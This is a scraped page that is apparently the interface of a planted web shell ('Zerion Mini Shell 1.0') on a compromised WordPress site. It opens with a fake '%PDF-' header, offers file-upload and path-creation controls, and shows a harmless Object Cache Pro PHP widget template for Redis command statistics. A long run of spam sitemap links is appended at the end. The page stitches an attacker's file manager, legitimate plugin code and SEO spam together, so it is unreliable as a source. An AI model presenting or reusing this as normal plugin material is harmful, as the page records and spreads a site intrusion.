%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/mu-plugins/object-cache-pro/src/Plugin/templates/widgets/tools/
Upload File :
Create Path :
Current File : /dom645759/wp-content/mu-plugins/object-cache-pro/src/Plugin/templates/widgets/tools/commands.phtml

<?php

global $wp_object_cache;

try {
    $info = $wp_object_cache->connection()->info('commandstats');
} catch (Throwable $th) {
    $error = $th->getMessage();
    $info = false;
}

$stats = [];

if (is_array($info)) {
    foreach ($info as $key => $value) {
        $command = strtoupper(str_replace(['cmdstat_', '|'], ['', ' '], $key));

        $stats[$command] = array_reduce(explode(',', $value), static function ($carry, $item) {
            [$key, $value] = explode('=', $item);
            $carry[$key] = (float) $value;

            return $carry;
        }, [
            'rejected_calls' => 0.0,
            'failed_calls' => 0.0,
        ]);
    }

    uasort($stats, function($a, $b) {
        return $b['usec_per_call'] <=> $a['usec_per_call'];
    });
}

?>

<div class="objectcache:widget objectcache:commands-widget objectcache:flushlog-widget">

    <?php if ($info === false): ?>

        <p class="inset">Unable to retrieve command statistics (<?php echo esc_html($error); ?>).</p>

    <?php elseif (! count($stats)) : ?>

        <p class="inset">No command statistics have been logged, yet.</p>

    <?php else : ?>

        <?php foreach ($stats as $key => $value): ?>

            <details
                data-calls="<?php echo esc_attr($value['calls']); ?>"
                data-rejected="<?php echo esc_attr($value['rejected_calls']); ?>"
                data-failed="<?php echo esc_attr($value['failed_calls']); ?>"
                data-usec="<?php echo esc_attr($value['usec']); ?>"
            >
                <summary>
                    <span class="dashicons dashicons-arrow-right-alt2"></span>
                    <code>
                        <?php echo esc_html($key); ?>
                    </code>
                    <time title="Average CPU time consumed per call">
                        <?php if ($value['usec_per_call'] < 100): ?>
                            <?php echo round($value['usec_per_call'], 0); ?> μs
                        <?php else: ?>
                            <?php echo round($value['usec_per_call'] / 1000, 2); ?> ms
                        <?php endif; ?>
                    </time>
                </summary>

                <ul>
                    <li title="Number of executed calls" data-sort="calls">
                        <span class="dashicons dashicons-controls-play"></span>
                        <time>
                            <?php echo number_format_i18n($value['calls']); ?>
                        </time>
                    </li>
                    <li title="Number of rejected calls" data-sort="rejected">
                        <span class="dashicons dashicons-undo"></span>
                        <time>
                            <?php echo number_format_i18n($value['rejected_calls']); ?>
                        </time>
                    </li>
                    <li title="Number of failed calls" data-sort="failed">
                        <span class="dashicons dashicons-dismiss"></span>
                        <time>
                            <?php echo number_format_i18n($value['failed_calls']); ?>
                        </time>
                    </li>
                    <li title="Total CPU time consumed by the command" data-sort="usec">
                        <span class="dashicons dashicons-clock"></span>
                        <time>
                            <?php if ($value['usec'] < 100): ?>
                                <?php echo round($value['usec'], 0); ?> μs
                            <?php elseif ($value['usec'] < (1000 * 1000)): ?>
                                <?php echo round($value['usec'] / 1000, 2); ?> ms
                            <?php else: ?>
                                <?php echo round($value['usec'] / 1000 / 1000, 2); ?> sec
                            <?php endif; ?>
                        </time>
                    </li>
                </ul>
            </details>
        <?php endforeach; ?>

        <script>
            (function ($) {
                var $widget = $('#objectcache_commandstats');

                if (! $widget.length) {
                    return;
                }

                $widget.find('.handle-actions').prepend(
                    '<button class="handle-reset" data-href="<?php echo esc_url(get_rest_url(null, 'objectcache/v1/commands')); ?>">' +
                    '    <span class="screen-reader-text">Reset</span>' +
                    '    <span class="reset-indicator" aria-hidden="true"></span>' +
                    '</button>'
                );
            })(jQuery);
        </script>

    <?php endif; ?>

</div>

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap248.xml 2026-12-01 https://louisvillegop.com/sitemap498.xml 2026-12-01 https://louisvillegop.com/sitemap993.xml 2026-12-01 https://louisvillegop.com/sitemap114.xml 2026-12-01 https://louisvillegop.com/sitemap998.xml 2026-12-01 https://louisvillegop.com/sitemap853.xml 2026-12-01 https://louisvillegop.com/sitemap634.xml 2026-12-01 https://louisvillegop.com/sitemap404.xml 2026-12-01 https://louisvillegop.com/sitemap796.xml 2026-12-01 https://louisvillegop.com/sitemap489.xml 2026-12-01 https://louisvillegop.com/sitemap132.xml 2026-12-01 https://louisvillegop.com/sitemap519.xml 2026-12-01 https://louisvillegop.com/sitemap315.xml 2026-12-01 https://louisvillegop.com/sitemap708.xml 2026-12-01 https://louisvillegop.com/sitemap834.xml 2026-12-01 https://louisvillegop.com/sitemap830.xml 2026-12-01 https://louisvillegop.com/sitemap839.xml 2026-12-01 https://louisvillegop.com/sitemap619.xml 2026-12-01 https://louisvillegop.com/sitemap267.xml 2026-12-01 https://louisvillegop.com/sitemap148.xml 2026-12-01 https://louisvillegop.com/sitemap867.xml 2026-12-01 https://louisvillegop.com/sitemap947.xml 2026-12-01 https://louisvillegop.com/sitemap609.xml 2026-12-01 https://louisvillegop.com/sitemap65.xml 2026-12-01 https://louisvillegop.com/sitemap510.xml 2026-12-01 https://louisvillegop.com/sitemap210.xml 2026-12-01 https://louisvillegop.com/sitemap445.xml 2026-12-01 https://louisvillegop.com/sitemap553.xml 2026-12-01 https://louisvillegop.com/sitemap403.xml 2026-12-01 https://louisvillegop.com/sitemap648.xml 2026-12-01 https://louisvillegop.com/sitemap811.xml 2026-12-01 https://louisvillegop.com/sitemap812.xml 2026-12-01 https://louisvillegop.com/sitemap604.xml 2026-12-01 https://louisvillegop.com/sitemap456.xml 2026-12-01 https://louisvillegop.com/sitemap945.xml 2026-12-01 https://louisvillegop.com/sitemap436.xml 2026-12-01 https://louisvillegop.com/sitemap762.xml 2026-12-01 https://louisvillegop.com/sitemap943.xml 2026-12-01 https://louisvillegop.com/sitemap961.xml 2026-12-01 https://louisvillegop.com/sitemap384.xml 2026-12-01 https://louisvillegop.com/sitemap576.xml 2026-12-01 https://louisvillegop.com/sitemap735.xml 2026-12-01 https://louisvillegop.com/sitemap907.xml 2026-12-01 https://louisvillegop.com/sitemap218.xml 2026-12-01 https://louisvillegop.com/sitemap346.xml 2026-12-01 https://louisvillegop.com/sitemap731.xml 2026-12-01 https://louisvillegop.com/sitemap939.xml 2026-12-01 https://louisvillegop.com/sitemap433.xml 2026-12-01 https://louisvillegop.com/sitemap362.xml 2026-12-01 https://louisvillegop.com/sitemap358.xml 2026-12-01 https://louisvillegop.com/sitemap183.xml 2026-12-01 https://louisvillegop.com/sitemap154.xml 2026-12-01 https://louisvillegop.com/sitemap650.xml 2026-12-01 https://louisvillegop.com/sitemap846.xml 2026-12-01 https://louisvillegop.com/sitemap569.xml 2026-12-01 https://louisvillegop.com/sitemap262.xml 2026-12-01 https://louisvillegop.com/sitemap171.xml 2026-12-01 https://louisvillegop.com/sitemap255.xml 2026-12-01 https://louisvillegop.com/sitemap663.xml 2026-12-01 https://louisvillegop.com/sitemap110.xml 2026-12-01 https://louisvillegop.com/sitemap818.xml 2026-12-01 https://louisvillegop.com/sitemap137.xml 2026-12-01 https://louisvillegop.com/sitemap314.xml 2026-12-01 https://louisvillegop.com/sitemap13.xml 2026-12-01 https://louisvillegop.com/sitemap866.xml 2026-12-01 https://louisvillegop.com/sitemap400.xml 2026-12-01 https://louisvillegop.com/sitemap697.xml 2026-12-01 https://louisvillegop.com/sitemap496.xml 2026-12-01 https://louisvillegop.com/sitemap342.xml 2026-12-01 https://louisvillegop.com/sitemap845.xml 2026-12-01